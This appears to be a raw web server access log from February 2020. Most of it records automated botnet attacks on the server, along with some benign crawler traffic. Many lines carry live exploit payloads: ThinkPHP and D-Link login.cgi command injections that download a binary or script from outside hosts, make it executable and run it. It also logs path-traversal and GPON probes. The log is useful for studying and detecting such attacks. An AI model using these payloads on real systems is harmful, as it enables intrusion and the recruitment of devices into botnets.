42.116.47.88 - - [10/Feb/2020:02:28:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.58.123.178 - - [10/Feb/2020:02:30:54 +0100] "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" 404 323 "-" "-"
13.52.243.232 - - [10/Feb/2020:02:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
188.130.149.61 - - [10/Feb/2020:02:32:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.130.121 - - [10/Feb/2020:02:33:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
60.22.55.223 - - [10/Feb/2020:02:42:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.2.113.206 - - [10/Feb/2020:02:45:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.115.193.113 - - [10/Feb/2020:02:45:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
18.144.126.208 - - [10/Feb/2020:02:45:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
35.185.12.219 - - [10/Feb/2020:02:47:19 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.185.12.219 - - [10/Feb/2020:02:47:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
173.76.38.236 - - [10/Feb/2020:02:47:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.216.245.215 - - [10/Feb/2020:02:49:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
5.101.0.209 - - [10/Feb/2020:02:50:56 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [10/Feb/2020:02:50:56 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
95.59.212.89 - - [10/Feb/2020:02:51:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [10/Feb/2020:02:51:34 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [10/Feb/2020:02:51:34 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
1.52.46.238 - - [10/Feb/2020:02:52:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.142.249.93 - - [10/Feb/2020:02:53:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.213.188.27 - - [10/Feb/2020:02:54:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
45.127.220.131 - - [10/Feb/2020:02:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.68.153.37 - - [10/Feb/2020:02:56:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.158.126.72 - - [10/Feb/2020:02:57:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [10/Feb/2020:02:57:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [10/Feb/2020:02:57:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [10/Feb/2020:02:57:47 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
218.158.126.72 - - [10/Feb/2020:02:57:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [10/Feb/2020:02:58:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [10/Feb/2020:02:58:26 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
167.71.182.143 - - [10/Feb/2020:02:58:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.201.179.21 - - [10/Feb/2020:02:58:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.121.143.119 - - [10/Feb/2020:02:59:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.234.122.240 - - [10/Feb/2020:03:02:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [10/Feb/2020:03:03:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
2.133.72.65 - - [10/Feb/2020:03:06:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
221.125.44.233 - - [10/Feb/2020:03:06:50 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
188.26.6.5 - - [10/Feb/2020:03:07:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.80.240.151 - - [10/Feb/2020:03:09:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.171.94.254 - - [10/Feb/2020:03:10:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.40.243.46 - - [10/Feb/2020:03:10:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.92.169 - - [10/Feb/2020:03:12:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.90.255.216 - - [10/Feb/2020:03:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
35.163.12.11 - - [10/Feb/2020:03:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
13.56.234.204 - - [10/Feb/2020:03:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
175.35.173.108 - - [10/Feb/2020:03:17:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
113.22.43.215 - - [10/Feb/2020:03:17:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.214.22.43 - - [10/Feb/2020:03:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
18.144.126.208 - - [10/Feb/2020:03:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
95.56.46.55 - - [10/Feb/2020:03:20:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.64.61 - - [10/Feb/2020:03:21:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.196.21.189 - - [10/Feb/2020:03:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
113.22.59.223 - - [10/Feb/2020:03:22:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [10/Feb/2020:03:27:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
88.250.186.134 - - [10/Feb/2020:03:30:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.84.74 - - [10/Feb/2020:03:31:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.34.47.73 - - [10/Feb/2020:03:32:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
143.255.242.134 - - [10/Feb/2020:03:32:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
51.254.59.113 - - [10/Feb/2020:03:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.146.186 - - [10/Feb/2020:03:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.146.186 - - [10/Feb/2020:03:34:44 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.146.186 - - [10/Feb/2020:03:34:44 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.146.186 - - [10/Feb/2020:03:34:45 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.146.186 - - [10/Feb/2020:03:34:45 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
91.121.29.30 - - [10/Feb/2020:03:34:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
95.9.207.130 - - [10/Feb/2020:03:38:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
119.152.58.237 - - [10/Feb/2020:03:46:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.118.165.46 - - [10/Feb/2020:03:48:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.38 - - [10/Feb/2020:03:51:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.185.68.84 - - [10/Feb/2020:03:51:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
221.233.85.163 - - [10/Feb/2020:03:53:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.160.50 - - [10/Feb/2020:03:56:15 +0100] "GET / HTTP/1.1" 200 1229 "https://fit-discount.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [10/Feb/2020:03:56:16 +0100] "GET / HTTP/1.1" 200 1229 "https://fit-discount.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [10/Feb/2020:03:56:16 +0100] "GET / HTTP/1.1" 200 1229 "https://fit-discount.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
178.89.195.61 - - [10/Feb/2020:03:57:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.163.12.11 - - [10/Feb/2020:03:59:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
208.114.149.10 - - [10/Feb/2020:04:03:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.0.165.43 - - [10/Feb/2020:04:05:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.214.244 - - [10/Feb/2020:04:05:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.6.52.53 - - [10/Feb/2020:04:08:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.220.206.137 - - [10/Feb/2020:04:08:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
59.191.145.11 - - [10/Feb/2020:04:12:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.213.64 - - [10/Feb/2020:04:13:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.154 - - [10/Feb/2020:04:14:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.186.137.112 - - [10/Feb/2020:04:14:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
65.154.226.100 - - [10/Feb/2020:04:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"
65.154.226.100 - - [10/Feb/2020:04:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/78.0.3904.70 Safari/537.36"
2.134.25.147 - - [10/Feb/2020:04:16:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.101.58.27 - - [10/Feb/2020:04:17:05 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
103.234.100.58 - - [10/Feb/2020:04:17:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.246 - - [10/Feb/2020:04:21:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.15.109.208 - - [10/Feb/2020:04:22:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
43.230.157.230 - - [10/Feb/2020:04:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.79.4.175 - - [10/Feb/2020:04:27:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.105.223.101 - - [10/Feb/2020:04:29:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.35.187 - - [10/Feb/2020:04:29:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.56.245.25 - - [10/Feb/2020:04:32:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.53.145.61 - - [10/Feb/2020:04:33:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
134.175.218.15 - - [10/Feb/2020:04:42:06 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.218.15 - - [10/Feb/2020:04:42:06 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.218.15 - - [10/Feb/2020:04:42:07 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.218.15 - - [10/Feb/2020:04:42:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.55.150.10 - - [10/Feb/2020:04:42:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
